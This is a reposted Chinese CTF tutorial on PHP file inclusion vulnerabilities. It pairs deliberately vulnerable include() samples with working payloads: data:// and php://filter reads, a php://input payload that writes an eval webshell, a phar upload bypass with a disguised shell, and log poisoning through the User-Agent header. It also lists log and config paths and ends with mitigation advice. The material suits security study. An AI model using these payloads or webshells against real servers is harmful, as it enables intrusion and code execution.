从CTF中学习文件包含漏洞
2022-12-15 21:33:53 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

  1. 什么是文件包含漏洞?漏洞的原理是什么?
    文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,
    包含其他恶意文件,导致了执行非预期代码。

文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。
区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。
如果开启了我们就有可能包含远程文件。·

php 中引发文件包含漏洞的通常是以下四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,
发生错误时只给出一个警告,继续向下执行。

2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。

3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,
php 内核并不在意该被包含的文件是什么类型。
所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。

  1. 为什么会产生这个漏洞?根本的原因是什么?

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,
由于传入的文件名没有经过合理的校验,从而引入了预想之外的文件,
从而导致意外的文件泄露、恶意的代码注入。

示例:
理想的使用是url?=main.php,代码逻辑为未传入文件则包含home.php。
但是当传递意料之外的参数时,就会造成文件包含漏洞。

<?php
if ($_GET[url]) {
    include $_GET[url];
} else {
    include "home.php";
}
?>

当传入带恶意代码的文件时,里面的代码会被执行。

  1. 怎么挖掘这个漏洞?怎么验证漏洞是否存在?怎么利用这个漏洞?
    关注存在引入外部文件或者引入其子站内容的功能点。
    关注?file=text、?page=text.php、?home=text.php等

4、php伪协议利用
4.1、data协议

data://协议必须在满足allow_url_fopen=on,allow_url_include=on下使用
data:// 伪协议利用php中流的概念,将原本include的文件流重定向到可控制的参数中。
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

案例:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

从代码可以发现过滤了php,使用data协议绕过。

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==


查看当前目录下的文件

编码前:data://text/plain;base64,<?php echo `cat flag.php`; ?>
编码后:data://text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYWcucGhwYDsgPz4=

4.2、php://协议

利用条件:
1、allow_url_include = On。

php://filter用于读取源码。
php://input用于执行php代码。

php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,来读取被base64加密后的文件内容。

?file=php://filter/convert.base64-encode/resource=index.php

使用php://input执行php代码。此处踩坑,使用hackbar进行Post传输,会导致失败。推测为插件bug,具体原因不明,建议使用Burp传输


利用php://input协议写入webshell。

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); ?>

使用php://filter读取Index.php文件

4.3、phar://协议
主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,
或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器

示例1:
payload:file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

示例2:
使用php://filter读取include.php源码

payload:php://filter/convert.base64-encode/resource=include.php


将base64解码后得到,从内容可以发现过滤了http、data、ftp、input、%00。但是存在一个upload.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file);
        }
    }
?>

再读一下upload.php


base64解码,发现是白名单。

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

将shell.php打包成shell.zip,再将后缀名改为jpg上传


使用phar协议执行


去读flag,系统命令无法使用。

payload:?file=phar://upload/shell.jpg/shell&cmd=var_dump(scandir('/'));
?file=phar://upload/shell.jpg/shell&cmd=highlight_file("/flag.php");

4.4、zip协议
使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。

示例:

payload:zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt、

5、包含日志文件
常见的日志文件路径:
linux
/var/log/apache2/log/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log

apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml

apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log

apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log

IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles

nginx 日志文件
/usr/local/nginx/logs
可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log

示例:
从源码中可以看出过滤了php、data、:关键字

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

通过返回包确认为nginx

尝试包括日志文件
file=/var/log/nginx/access.log


使用hackerbar在user-agent头写入代码,失败。

换burp,发送

再访问日志文件,成功执行


写入一句话木马


蚁剑连接,拿到flag

6、如何提前防范这个漏洞?如何进行加固?
1、设置白名单
2、过滤危险字符
3、设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,
如果设置目录的话,PHP仅仅在该目录内搜索文件。

4、关闭危险配置(allow_url_include)


文章来源: https://xz.aliyun.com/t/11959
如有侵权请联系:admin#unsafe.sh